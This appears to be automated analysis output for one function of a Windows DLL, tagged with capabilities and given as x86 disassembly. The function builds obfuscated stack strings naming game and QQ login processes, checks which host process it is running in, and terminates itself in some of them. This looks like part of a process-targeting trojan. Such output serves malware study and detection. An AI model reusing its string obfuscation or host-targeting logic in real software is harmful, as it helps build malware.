Function at 0x10001b34
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x350
and byte [ebp - 0x13d], 0
push esi
push edi
push 0x3e
pop ecx
xor eax, eax
and byte [ebp - 0x242], al
lea edi, [ebp - 0x13c]
mov byte [ebp - 0x148], 0x69
mov byte [ebp - 0x147], 0x6d
mov byte [ebp - 0x146], 0x65
mov byte [ebp - 0x145], 0x75
mov byte [ebp - 0x144], 0x74
mov byte [ebp - 0x143], 0x69
mov byte [ebp - 0x142], 0x6c
mov byte [ebp - 0x141], 0x2e
mov byte [ebp - 0x140], 0x65
mov byte [ebp - 0x13f], 0x78
mov byte [ebp - 0x13e], 0x65
push 0x3e
rep stosd dword es:[edi], eax
pop ecx
lea edi, [ebp - 0x241]
cmp dword [ebp + 0xc], 1
mov byte [ebp - 0x24c], 0x73
mov byte [ebp - 0x24b], 0x67
mov byte [ebp - 0x24a], 0x74
mov byte [ebp - 0x249], 0x6f
mov byte [ebp - 0x248], 0x6f
mov byte [ebp - 0x247], 0x6c
mov byte [ebp - 0x246], 0x2e
mov byte [ebp - 0x245], 0x65
mov byte [ebp - 0x244], 0x78
mov byte [ebp - 0x243], 0x65
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
jne 0x10001e39
mov eax, dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
mov esi, 0x104
mov ebx, 0x10203448
push esi
push ebx
push eax
mov dword [0x10203444], eax
call edi
push esi
mov esi, 0x1020354c
push esi
push 0
call edi
push esi
call fcn.10002250
push ebx
call fcn.10002250
call fcn.10001847
and byte [ebp - 0x26], 0
and byte [ebp - 0x36], 0
and byte [ebp - 9], 0
and byte [ebp - 0x18], 0
mov byte [ebp - 0x34], 0x64
mov byte [ebp - 0x33], 0x72
mov byte [ebp - 0x32], 0x61
mov byte [ebp - 0x31], 0x67
mov byte [ebp - 0x30], 0x6f
mov byte [ebp - 0x2f], 0x6e
mov byte [ebp - 0x2e], 0x6e
mov byte [ebp - 0x2d], 0x65
mov byte [ebp - 0x2c], 0x73
mov byte [ebp - 0x2b], 0x74
mov byte [ebp - 0x2a], 0x2e
mov byte [ebp - 0x29], 0x65
mov byte [ebp - 0x28], 0x78
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x44], 0x64
mov byte [ebp - 0x43], 0x6e
mov byte [ebp - 0x42], 0x6c
mov byte [ebp - 0x41], 0x61
mov byte [ebp - 0x40], 0x75
mov byte [ebp - 0x3f], 0x6e
mov byte [ebp - 0x3e], 0x63
mov byte [ebp - 0x3d], 0x68
mov byte [ebp - 0x3c], 0x65
mov byte [ebp - 0x3b], 0x72
mov byte [ebp - 0x3a], 0x2e
mov byte [ebp - 0x39], 0x65
mov byte [ebp - 0x38], 0x78
mov byte [ebp - 0x37], 0x65
mov byte [ebp - 0x14], 0x71
mov byte [ebp - 0x13], 0x71
mov byte [ebp - 0x12], 0x6c
mov byte [ebp - 0x11], 0x6f
mov byte [ebp - 0x10], 0x67
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x2e
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x78
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 0x24], 0x69
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x78
mov byte [ebp - 0x21], 0x70
mov byte [ebp - 0x20], 0x6c
mov byte [ebp - 0x1f], 0x6f
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x2e
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x78
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 8], 0x78
mov byte [ebp - 7], 0x63
mov byte [ebp - 6], 0x62
mov byte [ebp - 5], 0x2e
mov byte [ebp - 4], 0x64
mov byte [ebp - 3], 0x61
and byte [ebp - 1], 0
lea eax, [ebp - 0x34]
push eax
push esi
mov byte [ebp - 2], 0x74
call fcn.10002174
add esp, 0x10
test eax, eax
pop ebx
jne 0x10001e35
lea eax, [ebp - 0x44]
push eax
push esi
call fcn.10002174
pop ecx
test eax, eax
pop ecx
jne 0x10001e35
lea eax, [ebp - 0x14]
push eax
push esi
call fcn.10002174
pop ecx
test eax, eax
pop ecx
jne 0x10001e35
lea eax, [ebp - 0x24]
push eax
push esi
call fcn.10002174
pop ecx
test eax, eax
pop ecx
jne 0x10001e35
lea eax, [ebp - 8]
push eax
push esi
call fcn.10002174
pop ecx
test eax, eax
pop ecx
jne 0x10001e35
lea eax, [ebp - 0x148]
push eax
push esi
call fcn.10002174
pop ecx
test eax, eax
pop ecx
jne 0x10001dc4
lea eax, [ebp - 0x24c]
push eax
push esi
call fcn.10002174
pop ecx
test eax, eax
pop ecx
je 0x10001dd3
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
and byte [ebp - 0x350], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x34f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x350]
push eax
call fcn.100015b1
lea eax, [ebp - 0x350]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 0xc
test esi, esi
je 0x10001e28
inc esi
push esi
call fcn.10001569
test eax, eax
pop ecx
jne 0x10001e28
push esi
call fcn.10001419
push esi
call fcn.10001098
pop ecx
pop ecx
push dword [ebp + 8]
call fcn.10001e5b
test eax, eax
pop ecx
jne 0x10001e48
xor eax, eax
jmp 0x10001e4b
cmp dword [ebp + 0xc], 0
jne 0x10001e48
push dword [ebp + 8]
call fcn.10001ebf
pop ecx
push 1
pop eax
pop edi
pop esi
leave
ret 0xc